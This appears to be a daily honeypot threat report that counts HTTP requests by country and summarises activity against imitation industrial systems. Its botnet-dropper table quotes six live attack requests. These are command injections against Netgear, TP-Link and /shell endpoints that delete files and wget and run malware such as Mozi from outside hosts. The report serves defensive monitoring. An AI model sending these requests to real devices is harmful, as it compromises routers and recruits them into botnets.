Daily Report: 2025-05-02#
Executive summary#
interaction report on http service of various Hhoneypot around the world.
- Executive summary
- OT report simplified
- Botnet dropper behaviour
- List of request
- List of country_iso_code
executive_summary#
In today’s repport, we detected 6 stage 1 IP address(es), linked to 6 dropper URL(s).
There are 3 new requests that have never been observed before (these were added to the monitored request database.).
A total of 1407 requests were recorded during the day, originating from 6 different countries, with a peak of 371 requests coming from US.
ot_simplified_report#
simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.
source_country | targeted_country |
---|---|
IN | Germany |
US | Dubai |
botnet_dropper_behaviour#
remote_addr | request |
---|---|
59.92.90.159 | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://59.92.90.159:42184/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 |
104.236.3.45 | GET /shell?cd+/tmp;rm+-rf+*;wget+ 129.159.107.197/jaws;sh+/tmp/jaws HTTP/1.1 |
199.203.206.147 | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://162.240.157.77/spim+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 |
199.203.206.147 | GET /shell?cd+/tmp;rm+-rf+*;wget+http://162.240.157.77/l7vmra;chmod+777+l7vmra;/tmp/l7vmra HTTP/1.1 |
45.95.147.209 | GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+sh%3B+wget+http%3A%2F%2F176.65.148.234%2Fsh%3B+chmod+777+sh%3B+.%2Fsh+tplink%3B+rm+-rf+sh%60) HTTP/1.1 |
24.96.184.50 | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://24.96.184.50:39342/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 |
request#
The list of requests presented here are those that have not yet been yet integrated into the request database.
number_of_occurence | request | |
---|---|---|
241 | 1 | \x00\x0E\x08\xC4\x00\xCA\xC7\x01\xB2\x87\x92\x00\x00\x00\x00\x00 |
242 | 1 | \x00\x0E8\xC4\x00\xCA\xC7\x01\xB2\x87\x92\x00\x00\x00\x00\x00 |
303 | 1 | pim&ipv=0 |
country_iso_code#
number_of_occurence | country_iso_code | |
---|---|---|
0 | 371 | US |
1 | 307 | NL |
2 | 279 | GB |
3 | 103 | SC |
4 | 80 | HK |
5 | 49 | DE |
6 | 42 | PL |
7 | 18 | FR |
8 | 17 | CN |
9 | 14 | UA |
10 | 13 | IN |
11 | 13 | JP |
12 | 11 | CA |
13 | 11 | ZA |
14 | 11 | GH |
15 | 7 | AO |
16 | 6 | MN |
17 | 5 | KR |
18 | 5 | IL |
19 | 5 | BE |
20 | 5 | AZ |
21 | 4 | TR |
22 | 4 | BG |
23 | 3 | VN |
24 | 3 | SG |
25 | 3 | PT |
26 | 2 | RU |
27 | 2 | AU |
28 | 2 | RO |
29 | 2 | IT |
30 | 2 | TW |
31 | 1 | PA |
32 | 1 | IR |
33 | 1 | ES |
34 | 1 | TH |
35 | 1 | CZ |
36 | 1 | NZ |
37 | 1 | BR |
38 | 1 | PK |